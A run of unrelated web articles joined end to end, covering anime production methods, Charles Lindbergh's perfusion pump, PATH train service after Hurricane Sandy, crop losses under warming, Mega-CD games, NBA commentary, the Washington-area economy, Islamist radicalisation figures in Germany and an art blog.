In February 2003, support for the Iraq War was at 56 percent, but by mid-March, it had climbed to 66 percent and after the began it soared to 76 percent, according to Gallup.
The new poll surveyed 1,021 adults on Sept. 3-4 and has a margin of error of plus or minus 4 percent.
I miss the times when anime was hand drawn.
You don’t, because it’s physically impossible to – as in, it still is hand drawn. That’s the whole point of the article, but I don’t want to spend too much time on this basic idea. Around 3% of new full length TV anime in 2016 were 3DCG productions, which means that the percentage of 3D anime being broadcast is even smaller, as that doesn’t account for the traditional long running series. Actual 2D-3D co-productions aren’t much more common, though if you start to include 2D series with a major recurring 3D component you can get to around 10-20% of the new output. Boundaries here are less precise, but it’s clear either way that they’re in the minority. CG anime is no doubt on the rise, but their presence is greatly exaggerated; those projects are perceived as an anomaly and thus receive more attention by default, whereas dozens upon dozens of traditionally crafted anime are simply forgotten every year. There is in fact way too much hand drawn anime, but that’s a discussion for another time.
It’s all done with computers now though!
Yes and no. Cel animation was gradually phased out during the late 90s and early 00s, and by 2007 the only fully traditional TV anime remaining was Sazae-san; the endless series managed to extend yet another of its records until 2013, but eventually even they moved to a partly digital workflow. What does that mean? Animation is drawn as it used to be, then gets scanned so that painting and assembling of all elements is done on a computer. Things have started to change with the advent of digital animation: you can now trace the key animation and draw digital in-betweens, or start off drawing the former on tablets to begin with. Even entirely digital projects are possible nowadays, though they still require specialized crews and limited workloads, as seen on this season’s Aku no Gundan experiment at Tatsunoko (and even that had some traditional outsourced weeks, despite being 2 minutes anime!).
In this site we often find ourselves talking about digital animation, simply because the new waves of artists hitting the industry carry many fascinating animators who draw on tablets. When it comes down to it though, most animation is still drawn on paper. A massively huge chunk of it is still crafted in the most traditional way possible, which only makes the misconceptions about the production of anime sound even more alien. And while we’re at it, I’ll spare you the debate over whether digital animation counts as hand drawn or not; unless you’re some sort of prodigy who has found other ways to operate tablets, you still use your hands to draw on them. There are terms that are up for debate, but this is hand drawn animation by its very definition.
But I miss the way older anime looked.
That you might, and it’s perfectly fair. There’s no denying that prevalent aesthetics have changed a lot. Not only do design sensibilities evolve, there’s also a clear impact the methodology has had on the output. The industry and individual creators themselves embraced digital production because it was highly preferable, and anyone denying that is simply out of their mind…but that doesn’t mean all changes were positive. The early days were plagued with color design disasters, plus all the SD projects have been a nightmare to revisit years down the line. We’ve gotten over the purely technical deficiencies and designers have adapted to those tools (though I would argue that color work in TV anime is still very poor), so currently the issues are more related to the increasingly adventurous post-processing attempts – at their worst, those can really get out of (go)hand. Negatives aside though, it’s true that anime’s repertoire has widened. Plenty of new techniques are now available to creators, while theoretically everything that was doable before is still possible. And I say in theory simply because virtually no one attempts to do it, but Shirobako made it obvious that it’s feasible. Even their less-than-ideal composite team put together footage that felt believably old-school, down to the limitations of the animation. It’s not a perfect replica, but you have to keep in mind that some cel quirks were unintended consequences of the craft, so this modern mimicry is more of an idealization of cel anime.
Does that mean you’re wrong by preferring old-school looks? Of course not, whether it is due to the design tendencies or the more ethereal cel feel. You can easily call the current production model better, but that shouldn’t determine how much you personally like the output. There’s something undoubtedly charming to be found in cel animation errors that doesn’t really translate to digital craft, and that might be more important than you realize. It’s the set of tiny imperfections that keeps drawing us to 2D animation over the perfect form of 3D models, which somehow makes hand drawn background animation inherently much cooler than formally perfect moving 3D environments. Fans who grew up with cel anime in particular are prone to be used to those and find modern projects more artificial and plastic-y, just like how 2D animation fans in general feel about CGi aesthetics.
Well, the issue is that nowadays it’s too easy to make anime with computers.
I wish this was a bizarre strawman, but it’s a worryingly prevalent attitude. If you think that pieces of entertainment have to be crafted through blood, sweat, and tears to be worthwhile, you have issues a lighthearted article about how cartoons are manufactured can’t address. And the rotten cherry on top of that shitcake is that you’re, well, wrong. Anime production still entails a lot of work and stress, more than is reasonable. Digitalization has enabled mass production on new levels, first by removing the bottleneck that was cel painting and nowadays by researching efficient and even partly automated digital workflows. And yet it remains a tremendous amount of work, made immensely worse by the surrounding circumstances. So don’t worry, anime has unfortunately not become easy to produce.
Biomedical Engineering Pioneers:
Charles Lindbergh and the Development of the Carrel-Lindbergh Perfusion Pump
By CDR John W. Nelson, MC, USN
On 23 September 1966, LT Vernon Perry, Director of the Tissue Bank of the Navy Medical Research Institute, Bethesda, MD, wrote with excitement to the designer of a unique pump, an engineering and biomechanical innovation. It was a pump that allowed organs to remain "alive" outside the body. In LT Perry's words:
Three weeks ago . . . we managed to get a . . . heart from a monkey . . . and placed it in the pump. We were interested to see if a pH change could be observed in the media after prolonged perfusion. You can imagine our surprise when after one hour of perfusion at room temperature; the heart began to beat independent of the pulsation of your pump. I don't mean that the heart merely fibrillated; there were strong synchronous auricular ventricular contractions. The heart continued to beat for six hours . . . (1)
The recipient of the letter, Charles A. Lindbergh was pleased, but not surprised by the report. The idea for the Carrel-Lindbergh perfusion pump was first conceived in the late 1920=s and completed in the early 1930=s. By the time Lindbergh received Perry=s correspondence, the pump had been used successfully in thousands of experiments where sterile conditions and fine control of physiological operating parameters were essential for tissue and whole organ perfusion.
As was the case with most of his pursuits, the genesis of Lindbergh's interest in biomedical research can be found in personal challenge. In 1929 his sister-in-law was diagnosed with rheumatic heart disease, a disease that carried with it a poor prognosis due primarily to an inability to perform surgical procedures on a beating heart. Once Lindbergh learned that the lack of the surgeon=s ability to provide artificial mechanical means of circulating oxygenated blood prevented a cure, he Amade up his mind to design a pump capable of circulating blood through the body while the heart was being repaired.@(2) Lindbergh enjoyed a reputation as a talented biologist due, in large part, to his work with the United States Department of Agriculture on spore and bacteria surveys of North America, but he had no medical training whatsoever. He studied engineering briefly at the University of Wisconsin, but became disillusioned with "the limits" of formal engineering education and left school prior to completion of his degree, remaining "unencumbered by the accumulated school wisdom that might have discouraged him from the very onset."(2) Armed with his ideas, an innovative mind, and spirit of adventure, Lindbergh pursued his goal of designing and building a mechanical heart/lung machine. For more than 100 years, physiologists had tried to maintain organs alive outside the body with no real success. French physician, scientist and philosopher Julien-Jean-Cesar Legallois (1770-1814) predicted: "If one could substitute for the heart some kind of injection . . . of arterial blood, either natural or artificially made . . . one could succeed easily in maintaining alive indefinitely any part of the body.@(3) Knowing this, Lindbergh presented his concept to a number of physician acquaintances, one of whom arranged a meeting with Dr. Alexis Carrel of the Rockefeller Institute. Lindbergh knew of and respected Carrel whose research emphasized blood vessel suture techniques (for which he was awarded the 1912 Nobel Prize in Medicine), and the culture of cells. Carrel was a pioneer in tissue culture research and wrote prolifically on the subject from the early 1920s. While Carrel's work in the culturing of cells had been ground breaking, he was unable to proceed into the areas of tissue and whole organ culture. He was keenly aware of the technical problems associated with organ perfusion in general, and with cardiopulmonary bypass in particular, most notably the need to add oxygen into the perfusate, a problem finally solved in 1953 by Dr. John Gibbons, the first to use such a bypass system successfully on a patient.(2)
One of Charles Lindbergh's glass perfusion pumps
With this lack of success as a background, Carrel received Lindbergh's idea with interest, if not for its originality of concept, then certainly because of Lindbergh's record of results in other fields. While he believed that Lindbergh offered a unique engineering approach to the problem, Carrel also appreciated the public relations potential of a collaboration with Lindbergh. Surely, publicity associated with Lindbergh could help assure the continuation of his research and enhance his reputation as a scientist. One is left to wonder, for example, if Carrel would have appeared on the 13 July 1938 cover of TIME Magazine were it not for Lindbergh=s popularity as a national hero. Charles Lindbergh=s stature as a public figure during this time in American history cannot be overstated. Indeed Lindbergh himself did not fully appreciate the magnitude and strength of his public appeal and popularity, popularity that he ironically tried to avoid from the time of his famous flight until his death in 1974. Many of Carrel's colleagues at the Rockefeller Institute privately questioned the scientific value of Lindbergh's contribution when their collaboration was first announced. "Some of the senior members were inclined to disapprove of the introduction of an amateur to the select ranks of medical investigator; others feared sensational publicity."(6) Others were openly critical, denouncing the partnership as a publicity stunt, rather than a scientific collaboration. However, Lindbergh carried out his work with Amodesty and discretion,@ publishing his early findings anonymously. In fact, no public announcement of Lindbergh's presence at the institute was made until mid-1935.
Carrel's previous experience in the field of cell profusion revealed the overly ambitious nature of Lindbergh's original plan.(7) He convinced the inventor that, instead of venturing immediately into a difficult and unexplored field of heart lung bypass, "it was wiser to attempt the culture of whole organs, which could become an almost immediate reality . . . ."(2) He knew that, whether or not the treatment of diseased human organs by exchange or replacement ever became possible, "the really important application of the method would not be in the field of surgery, but in physiology . . . ,@(6) a tool to fulfill Carrel's wish to Astudy the interplay between organ, blood, and lymph.@(2)
Lindbergh's drawing of his perfusion pump dated October 17, 1968. Click on the image to enlarge.
Based on the success of their initial collaboration, Lindbergh and Carrel undertook an ambitious project: the perfusion of whole organs. As Lindbergh wrote in 1965, their plan was set to proceed in three stages: AFirst, the development of a pulsating perfusion pump that would approximately duplicate natural pressures, and in which infection could be excluded. Second, the development of surgical and chemical techniques related to installation of the organ and the perfusing fluid. Third, the application of the method to research projects.@(9)
Lindbergh's major contribution was introduced in a paper published jointly with Carrel in which he describes an all-glass system for the perfusion of whole organs. It is in the design and manufacture of this device that Lindbergh's skills as a biomedical engineer are best demonstrated. Based on lessons learned from previous versions, and using the diverse talents of Rockefeller Institute colleagues, he was able to deliver an apparatus that met all of Carrel's strict criteria. It was ultimately used, as Lindbergh recalled, in "over a thousand perfusion experiments.@(9) Lindbergh=s design provided careful environmental control, allowed researchers to add or remove tissue and perfusion fluid from the system without interrupting operations, allowed microscopic viewing of the tissues in vitro, and provided an aseptic environment. A working model was first delivered in 1935, followed in 1938 with the publication of The Culture of Organs, a work designed to serve as a step-by-step technical manual for fellow researchers. In it, Lindbergh explains that the apparatus . . . Amaintains a sterile pulsating circulation through the [living] organs for a length of time limited only by the condition of the organ and the perfusion fluid.@(10)
Thanks to the technical skill of Rockefeller Institute=s glass blowers, Lindbergh designed and built the system entirely of Pyrex glass with rubber stoppers and cotton filters, all with anti-sepsis and ease of cleaning in mind. The system was operated entirely using compressed control gas pressure (oxygen, carbon dioxide, and nitrogen) as a motive force to provide pulsating fluid at adjustable pressure and measurable flow rate. Maintenance of system pressure within strict parameters while allowing the introduction of new profusion fluid and/or additional specimens was a difficult challenge, yet the originality of Lindbergh's approach exceeded expectations.
Lindbergh's ingenious design required seventeen pages of detailed descriptive text and seven full-page illustrations to adequately describe, in part explaining that the device A. . . has only three openings that communicate with the exterior. These openings are protected against infection by filter bulbs containing non-absorbent cotton. Neither the organ nor the perfusion fluid comes in contact with any stoppers or joints which communicate with the exterior . . .. The composition of all gas in contact with the organ and the perfusion fluid is controlled. Foaming and evaporation of the fluid are prevented. The maximum and minimum pulsation pressures and the pulsation rate are adjustable. The pressure at various points in the pulse cycle can be controlled. The temperature of operation is adjustable. The rate of flow of perfusion fluid can be measured. Changes for rate of flow through the organ are compensated for automatically with a minimum effect on pulsation pressures. The perfusion fluid is filtered during its circulation and before it enters the organ. Organs can be removed from one apparatus and installed in another aseptically. The perfusion fluid can be removed and replaced aseptically. The organ and the perfusion fluid can be observed at all times.(11)
L to R: CDR G.H. Mouer, LT V.P. Perry, C.A. Lindbergh, and T. Malinin view a model of the pump. Click on the image to enlarge.
In the months following Copenhagen, American and European labs ordered dozens of Lindbergh pumps, but for various reasons they were not widely used. One reason was a shift within the scientific community toward study at the level of individual cells and away from whole organs and organ systems. Additionally, biochemists found that they could obtain as satisfactory a result from cut sections of organs (which remained viable for a few hours after sectioning) as they could from whole, perfused organs. However, the main reason for the failure of the Lindbergh pump to gain wide use within the scientific community was its difficulty of operation. As a result, virtually all the Lindbergh pumps constructed between 1935 and 1938 had dropped out of use by 1940.(6)
Lindbergh continued to work with Carrel to improve the profusion system, including the pump, culture medium, and perfusion fluid, until the early 1940's. Of the original three-step plan previously introduced, Lindbergh wrote with a hint of disappointment, . . . Awe had completed (with reasonable satisfaction for preliminary work) the first two stages. The war and Carrel's death prevented our entering the third. Of course, even in the first two stages much additional development was desirable.@(13)
While organ profusion, with an eye toward organ transplant, continued to develop within the scientific community after the war, Lindbergh's own active pursuit of further study in the subject ended until persuaded to return to it some 30 years later.
During the 1960's, researchers at the Navy Medical Research Institute (NMRI) Tissue Bank in Bethesda, MD, carried out a series of studies designed to examine the preservation of whole organs, possibly through (then) new freeze-dried technology, for use in transplant at field medical facilities. Based on research performed on skin, bone marrow, and blood, NMRI scientists had concluded that it was possible to freeze-dry and store some tissue grafts for over 10 years, while remaining clinically viable.(14) However, work on whole organs presented many daunting problems. Tissue Bank scientists studied all existing research in whole organ perfusion, including that of Lindbergh and Carrel (then held by the Georgetown University Medical Center) and found that they had reported better results than those attained using more recent techniques.(15)
The original perfusion pump described by Lindbergh required only minor modifications to work properly at temperatures required for freeze-drying. LT Vernon P. Perry (Director, NMRI Tissue Bank) encouraged Lindbergh to come out of retirement and participate in a collaborative effort toward a pump redesign. Initially, Lindbergh was reluctant, writing from Switzerland in 1965 that A. . . it has been so many years since I have done any lab work in connection with tissue or organ culture that I would have very little to contribute. Although my interests naturally continue in these fields, my last active research dates back to about 1938.@(16)
After repeated requests, Lindbergh finally agreed, and in 1968 accepted an appointment as a guest scientist at NMRI to resume work on whole organ perfusion. The collaboration produced two publications, AAn apparatus for the pulsating perfusion of whole organs" (17) and "Maintenance of Continuous Contraction of Mammalian Hearts at Hypothermic Temperatures" (18) but ended shortly thereafter when NMRI abandoned their original plan.
It is interesting to note that following the 1936 Copenhagen perfusion pump demonstration, conventional wisdom held that "Lindbergh's work as a scientist would probably be remembered long after his flight to Paris is only dimly recalled event in aviation history.@(12) While this has certainly not been the case, Charles Lindbergh's contribution to our body of scientific knowledge is remarkably noteworthy, if not for its lasting benefit to medical research, then for the pioneering, innovative spirit it represents.
References
Perry VP to Lindbergh CA, 23 Sep 1966. C. A. Lindbergh correspondence, Naval Medical Research Center Archives, Bethesda, MD. Bing R. Lindbergh and the biological sciences (a personal reminiscence). Texas Heart Institute Journal. 1987;14:231-237. "Glass Heart," Time. 1 Jul 1935:41-42. Carrel A. A method for the physiological study of tissues in vitro. J of Exp Med. 1923;38:407-418. Witkowski JA. Alexis carrel and the mysticism of tissue culture. Medical History. 1979;23:279-296. Corner GW. A History of the Rockefeller Institute. The Rockefeller Institute Press, New York, NY. 1964. pp. 230, 232, 235. Schumaker HB. The Evolution of Cardiac Surgery. Indiana University Press, Bloomington, IN. 1992. p. 248 Perry VP. Charles a. Lindbergh: 1902-1974. In Vitro. 1975;11(5):247-250. Lindbergh CA to Perry VP, 9 Apr 1965. C.A. Lindbergh correspondence, Naval Medical Research Center Archives, Bethesda, MD. Carrel A and Lindbergh CA. The culture of whole organs. Science. 1935;81(2112):621-623. Carrel A and Lindbergh CA. The Culture of Organs. Paul B. Hoeber, Inc, New York, NY. 1938. p.16 "Lindbergh Adds To Fame As Scientist," The Literary Digest. 22 Aug 1936:16-17. Lindbergh CA to Perry VP, 9 Apr 1965. C. A. Lindbergh correspondence, Naval Medical Research Center Archives, Bethesda, MD. Gresham RB, et. al. Report on Current Methods and Experimental Approaches to the Future. J Am Med Assn. 1963;183:13-14. "Guest Investigator at the Tissue Bank of the Naval Research Institute, Bethesda," New York Herald Tribune-Washington Post. Mar 15, 1967;p 5. Lindbergh CA to Perry VP, 27 Sep 1965. C. A. Lindbergh correspondence, Naval Medical Research Center Archives, Bethesda, MD. Lindbergh CA, Perry VP, et. al. An apparatus for the pulsating perfusion of whole organs. Cryobiology. Nov-Dec 1966;3(3):252-60. In Memoriam: Vernon P. Perry, LCDR MSC USN (RET) (1927-1990). Cryobiology. 1991;28:207-209.
Reprinted with permission from Dr. Nelson & the Naval Medical Research Center
The PATH train will resume weekend service between New Jersey and Lower Manhattan on Friday, marking the first time since Hurricane Sandy that all of the system’s trains are once again operating on a normal schedule.
When the storm struck in October, the tunnels between New York and New Jersey were flooded with millions of gallons of salt water, and removing the water and repairing the damage has been a monumental challenge.
A video showing water bursting through a closed elevator and emptying into a PATH station became one of the more memorable images of the hurricane.
The Port Authority, which runs the PATH service, said at the time that it “experienced an unprecedented amount of flooding, damaging multiple types of equipment, including those for signaling and train control.”
In all, the storm caused about $800 million in damage to the PATH service, according to the authority. The loss of the service was particularly burdensome to commuters in Hoboken, N.J., many of whom rely on the trains for travel.
One month after the storm, when partial PATH service was restored, it was hailed as a sign of Hoboken’s slow recovery.
But it took longer to reopen the line that runs between Exchange Place in Jersey City and the World Trade Center — which includes stops in Newark, Harrison and Grove Street in Jersey City.
Fourth-round draft pick Phillip Thomas hauls in an interception during rookie minicamp on May 5. (Photo by John McDonnell/The Washington Post)
The Washington Redskins announced Friday afternoon that they have signed safety Phillip Thomas to his rookie contract, making him the fifth of seven draft picks to agree to a deal in the past week.
Drafted 119th overall out of Fresno State, Thomas is expected to compete for a starting job in Washington’s secondary.
Brandon Meriweather – the would-be starter at strong safety – is coming off of a torn anterior cruciate ligament and is still rehabbing. Meanwhile, last year’s starting free safety, Madieu Williams, is no longer with the team. Veterans Reed Doughty, DeJon Gomes and Jordan Pugh also aim to compete for the starting free safety job as well. Washington in the sixth round drafted Bacarri Rambo, who is more of a natural free safety and aims to contend for that starting job as well.
Thomas, who last season led the nation with eight interceptions, is seen by some as more of a strong safety, but also plays well in downfield coverages.
Terms of his deal were not announced, but his contract will be of similar worth to that of Redskins linebacker Keenan Robinson (last season’s 119th overall pick), who signed a four-year, $2.5 million deal that came with a $420,000 signing bonus.
Second-round cornerback David Amerson (Washington’s first selection of the draft), and third-rounder tight end Jordan Reed remain unsigned.
Other Redskins signings in the past week:
Seventh-round running back Jawan Jamison
Fifth-round running back Chris Thompson
Tryout camp wide receiver Lance Lewis
Sixth-round safety Baccari Rambo, fifth-round linebacker Brandon Jenkins
More NFL and Redskins coverage:
Do No Harm, Part IV: Retired NFL players endure a lifetime of hurt
GM Bruce Allen excited about the start of OTAs
Raiders sign Josh Cribbs, Matt McGloin
The Early Lead: Arrest warrant issued for Chad Johnson
U.S. crops at risk of "abrupt and substantial yield losses"
A study published in Nature warns that some of the most important crops in the U.S. are at risk of "abrupt and substantial yield losses" from rising temperatures later this century, with harvests potentially declining by 20% for wheat, 40% for soybean and almost 50% for maize.
Some of the most important crops in the U.S. are at risk of substantial damage from rising temperatures. To better assess how climate change is likely to impact wheat, maize and soybean, an international team of scientists ran ultra-detailed computer simulations of past, present and future yields. These were shown to accurately reproduce the observed reduction in past crop yields induced by high temperatures, thereby confirming that they captured one main mechanism for future projections. Importantly, the scientists found that increased irrigation could help to reduce the negative effects of global warming on crops – but this is possible only in regions where sufficient water is available. Ultimately, limiting global warming is needed to keep overall crop losses in check.
“We know from observations that high temperatures can harm crops, but now we have a much better understanding of the processes,” says lead author of the study, Bernhard Schauberger from the Potsdam Institute for Climate Impact Research. “The computer simulations that we do are based on robust knowledge from physics, chemistry, biology; on a lot of data and elaborate algorithms. But they of course cannot represent the entire complexity of the crop system, hence we call them models. In our study, they have passed a critical test.”
In their work, the scientists compare the model results to data from actual observations. This way, they can find out if they include the critical factors into their calculations, from temperature to CO2, from irrigation to fertilisation.
For every day above 30°C (86°F), maize and soybean plants can lose 5 percent of their harvest. The simulations developed at the Potsdam Institute show that even small heat increases beyond this threshold can result in abrupt and substantial yield losses. Such temperatures will be more frequent under unabated climate change and could severely harm agricultural productivity. Harvest losses of 20 percent for wheat, 40 percent for soybean and almost 50 percent for maize, relative to non-elevated temperatures, can be expected by the end of this century without substantial emission reductions. These losses do not even consider extremely high temperatures above 36°C (97°F), which are expected to lower yields further. The effects go far beyond the U.S., one of the largest crop exporters: world market crop prices are likely to increase, which is an issue for food security in poor countries. This will be a particular concern as demand for food increases due to both population growth and rising affluence.
“The losses got substantially reduced when we increased irrigation of fields in the simulation, so water stress resulting from temperature increase seems to be a bigger factor than the heat itself,” says co-author Joshua Elliott from the University of Chicago. When water supply from the soil to the plant decreases, the small openings in the leaves gradually close to prevent water loss. They thereby preclude the diffusion of CO2 into the cells, which is an essential building material for the plants. Additionally, crops respond to water stress by increasing root growth at the expense of above-ground biomass and, eventually, yields. “Irrigation therefore could be an important means of adaptation to dampen the most severe effects of warming,” says Elliott. “However, this is of course limited by the lack of water resources in some regions.”
Burning fossil fuels elevates the amount of CO2 in the air. This usually increases the water use efficiency of plants, since they lose less water for each unit of CO2 taken up from the air. However, this cannot be confirmed as a safeguard of yields at high temperatures, the scientists argue. The additional CO2 fertilisation in the simulations does not alleviate the drop in yields associated with higher temperatures above 30°C.
The study, "Consistent negative response of US crops to high temperatures in observations and crop models", appears this month in Nature.
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Sonic CD
Released: 1993
Every console needs a killer app to justify its existence, and Sonic CD is as close as you’re going to get on the Mega-CD. Regularly cited as one of the best games in the series, this ambitious title made good use of the CD format’s storage potential by including gigantic levels, Mode 7 bonus stages and a spectacular soundtrack. The game was made even deeper by the fact it was possible to time-travel forwards and backwards on each level, essentially making the stages three times as big. Interestingly, the US version features a different soundtrack to the Japanese and European variants – although both selections of songs are equally fantastic.
Final Fight CD
Released: 1993
When Final Fight (unquestionably the quintessential arcade hit of the late Eighties) was ported to Nintendo’s Super Famicom in 1990, you could practically hear the cries of despair emanating from Sega fans the world over. For a time it seemed as if this Capcom classic would remain exclusive to Nintendo, but thankfully Sega was granted permission to reprogram the game when the Mega-CD came along – it produced what is arguably the best home console conversion (aside from recent emulated ports). Final Fight CD is packed with all three characters and all the levels. Needless to say, the previously smug SNES owners were left feeling a little put out.
Shining Force CD
Released: 1994
The only Shining Force game to make its way onto the Mega-CD is a combined remake of the Game Gear releases Shining Force Gaiden and Shining Force Gaiden 2: Sword Of Hajya. Visually it’s not what you could call a massive improvement when compared to the Mega Drive instalments, but the sheer scope of the challenge is almost overwhelming. So epic was the quest that the Mega-CD internal save game RAM wasn’t enough to contain all the data; the purchase of a separate RAM cart was essential if you wanted to see everything the game had to offer.
Lunar: The Silver Star
Released: 1992
Game Art’s epic RPG was the closest the Mega-CD ever got to having its own Final Fantasy, and following its Japanese release, the console’s sales in that region were given a boost. Although the in-game graphics were hardly ground-breaking, they were accompanied by some lush anime sequences and an astounding soundtrack by Noriyuki Iwadare. US firm Working Designs picked Lunar up for Western localisation and did a fantastic job – the company later returned to the game when it was remade for the PSone in 1996.
Thunderhawk
Released: 1993
UK-based Core Design was a staunch Sega supporter and produced some of the Mega-CD’s finest moments. While games such as Battlecorps and BC Racers pushed the hardware but fell a little short on enjoyment, Thunderhawk was a complete success in both regards. Smooth Mode 7 rotation and scaling was coupled effectively with some of the most frantic action ever witnessed on the format, and the game was rightly praised by the press upon release. A 32-bit sequel followed that added full 3D visuals, but the original remains the one we’re most fond of.
Lunar: Eternal Blue
Released: 1994
Although it doesn’t attract as much praise as its predecessor, Lunar: Eternal Blue is just as enjoyable an RPG experience as The Silver Star. Also, despite featuring a new cast of protagonists, the gameplay remains largely unchanged. Again, Working Designs took the plunge and brought this Stateside with a great translation. In both Japan and the US, this was one of the final high-profile pieces of software for the ailing platform; by the time of the American launch the system was all but dead.
Popful Mail
Released: 1994
Originally produced for the NEC PC-8801 in 1991, this 2D action RPG title shares many similarities with the Wonderboy: Monster World series. The player takes on the role of a bounty hunter named Mail, but it’s possible to switch to other characters. With the excellent English translation and voice work, the Western version of Popful Mail is arguably the best of all the conversions and carries a justifiably inflated price tag when it appears on auction sites today. While we’re not fans of unscrupulous game resellers, Popful Mail is unquestionably worth paying through the nose for.
Robo Aleste
Released: 1992
A spiritual sequel to the shockingly brilliant Mega Drive shooter MUSHA Aleste, Robo Aleste featured the same fixation with large mecha as its predecessor, but was unique because it placed these mechanical killing machines in feudal Japan. Although the gameplay doesn’t really present any ideas that couldn’t have been achieved on the good old Mega Drive, the music and cut-scenes genuinely elevate the game to a new level of greatness. The game saw release in all three key territories and is in high demand thanks to its overall quality.
Snatcher
Released: 1994
It’s ironic that while many developers wrestled in vain with grainy, low quality FMV to create the ultimate interactive movie, Metal Gear creator Hideo Kojima succeeded where others had failed – by using traditional hand-drawn 2D visuals. Showcasing a plot that owes more than little debt to the likes of Hollywood movies such as Blade Runner and The Terminator, Snatcher remains one of Kojima’s most beloved works. It was also released on the PC Engine CD-ROM, PlayStation and Saturn, but the Mega-CD outing remains the only version to be officially translated into English. This makes it a highly sought-after title. You need this game, but your bank balance won’t thank you.
Keio Flying Squadron
Released: 1994
First, on Pop, he said the following in February and it is sticking with me like Jared Dudley’s feet to an NBA floor: “I’ve spent more time thinking about Golden State than I have any other team I’ve ever thought about in my whole career because they are really fun. I’d go buy a ticket and go watch them play. And when I see them move the ball, I get very envious. When I see them shoot uncontested shots more than anybody else in the League, it’s inspiring. It’s just great basketball. So I’m actually enjoying them very much. You try to solve them, but they’re in a sense unsolvable because it’s a particular mix of talent that they have. It’s not just that Steph can make shots or that Klay can make shots or that Draymond Green is versatile. Everybody on the court can pass, catch and shoot. And they all get it. They’re for real. They’re talented. But they’re also very, very smart.”
It’s the first part: “I’ve spent more time thinking about Golden State than I have any other team I’ve ever thought about in my whole career” that has stuck with me. Pop is 67 years old. He has been doing this since his days toiling the sideline at Pomona Pitzer when Jimmy Carter was in the White House. His team can roll out there with half its roster and beat most squads in the League. In any other season, we would be talking about the Spurs chase for 70 victories. But while his body has been in San Antonio, his mind has been in Oakland. It is difficult to believe that he is not thinking of something—maybe Kawhi guarding Steph, maybe hack-a-Bogut, maybe Rasual Butler at the stretch 4—that will be a wrinkle we haven’t seen to slow the Warriors down on offense and exhaust them on D.
Then there is Timmy, Manu and Tony: the most successful trio of teammates in League history judging by Playoff victories and second in chips to whatever trio of Red Auerbach’s Celtics you want to put together back when the League had eight teams. Duncan, as of this writing, is averaging a career-low 25 minutes per game and has taken the equivalent of three weeks of the season off to rest. Manu is averaging a career-low 19 minutes per game and also took time away. Tony Parker is averaging a career-low 27 minutes per game and his season high in assists in a contest is 10. In other words, a subpar night for Rajon Rondo or John Wall is Tony Parker’s season high. And yet, the emergence of Kawhi Leonard as a bona fide superstar, the play of LaMarcus Aldridge and the sick stretches with David West playing for 1/10 his market value have allowed them to be on this near-70 win pace.
There is nothing statistically to suggest that Tim, Manu and Tony have slowed down. Check their averages per 36 minutes and it is the same stellar play we have seen, just less of it. This is why I think it is the Spurs’ year. Pop has been in the lab, the Best Big Three to ever take the court has been in the San Antonio custom-made cryogenic chamber, and the Golden State Warriors are about to be taken to the woodshed. It’s been fun, Dubs, but daddy’s home and the middle-aged posse is about to take the Western Conference Playoffs by storm.
Is the economy in Washington losing its edge? (Craig Hudson/For The Washington Post)
The Washington area remains one of the wealthiest and most highly educated regions in the country, but researchers from the Brookings Institution warned this week that its growth prospects aren’t looking so hot.
More tourists than ever are coming here and unemployment in most local jurisdictions has been slowly waning. But Brookings experts are concerned in particular with the way major urban economies in the United States do business abroad, and on that point and other growth metrics they paint the Washington area as resting on its laurels.
“The region’s economic structure poses a central challenge to its current and future growth prospects,” the report’s authors write.
What’s the problem exactly? Here are five, from the report.
1. Local GDP has been slow to recover.
The Washington area came roaring out of the recession, when the federal government was putting out stimulus money and apartment builders began racing to house a surge in millennials arriving in search of jobs.
But with austerity ruling the day on Capitol Hill, the region has shown less growth than some of its peers and the nation at large, suggesting a lack of private sector growth.
2. High-tech jobs haven’t arrived.
A large portion of local jobs (13.5 percent) are in high-tech, research-based (or “advanced”) industries, a major positive to researchers because those jobs produce goods and services marketable to emerging markets around the world. On this point Washington is ahead of Boston and Austin, and nearly on par with San Francisco.
The problem is that despite leaders in the District and nearly every local county promoting their neighborhoods as tech hubs — with affiliated incubators, accelerators and co-working spaces — the region barely grew jobs (0.4 percent) in advanced industries between 2008 and 2014. Brookings researchers suggest a greater focus on computer system design, engineering, data processing and research and development.
3. Too much still relies on the federal government.
Virginia Gov. Terry McAuliffe (D) and other local leaders have talked repeatedly about the need to pivot away from reliance on the federal government in order to build a more sustainable economy but by last year the region’s advanced industries were almost exactly as reliant on federal dollars as they were in 2010.
For companies in these fields, write the Brookings researchers, “their considerable dependence on federal revenue poses risks in an era of increasingly constrained federal spending.”
4. Washington should be doing more business abroad.
The Washington region exported $26.7 billion in goods and services abroad in 2014, among the best in the country. But that made up only 6.1 percent of its GDP, less than Baltimore and barely more than Sacramento.
With three airports, a bevy of colleges and universities, plus natural foreign connections through international organizations (State department, World Bank, IMF) and embassies, there is room for improvement.
5. Washington is slow to commercialize technology.
Only two regions in America — New York and Boston — rank ahead of Washington when it comes to employment in scientific research and development. About 46,000 people here are in those fields. According to Brookings, however, “that research prowess may not be translating into valuable technological innovation.”
For every 1,000 employees in these fields, Washington produces only 1.2 tech patents, a key indicator for small business growth.
“Some of this underperformance surely owes to the nature of research conducted in the region, such as the large presence of social science researchers whose work would not likely be the subject of a patent, and organizations developing sensitive technology that for national security reasons cannot be patented,” Brookings wrote. “Nonetheless, it raises legitimate concerns regarding the region’s ability to innovate in technologies with global commercial value.”
BfV said that radical adherents increased by several hundred in recent months. Out of the 1,600 on the list, about 570 are considered “dangerous” and capable of plotting a terror attack.
“We receive between two and four credible tips on planned terrorist activity in Germany each day,” BfV chief Hans-Georg Maassen said, according to Deutsche Welle. “We have to recognize that we are living in a different situation now than was normal.”
Officials attribute the rapid growth to how easy it is to connect with extremists online along with press coverage of terror plots and attacks.
“These are social groups that find each other, let’s say through their mosque community, and the people who see them in the real world don’t necessarily notice any change in behavior,” Maassen told DW.
The number of Salafists, or fundamentalist Sunni Muslims, have also increased at a rapid pace — from 3,800 in 2011 to 9,700, as of January. Authorities shut down several Salafist mosques in recent months since they consider the movement to be a gateway to radicalization.
“It’s of great concern to us that this scene is not only growing, but it is also very diversified. There is not just one, two, three or four people who have a say,” Maassen warned in January. “Rather, there are many people who dominate this Salafist scene. And all these people have to be watched.”
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If you remember last time, I left off with the foreground rocks complete, but the middle and backgrounds were flat empty shapes. I had to enter a zen state of mind to finish these stripes, because no matter how cool I think they look, they get boring to draw!
I draw each line out by hand, scan it into the computer, and then trace over it again in photoshop. It got a little tedious, if I were to explore this style more I would have to find a more efficient way to achieve the same effect.
Here is a quick look of the pencil lines used for the rock stripes.
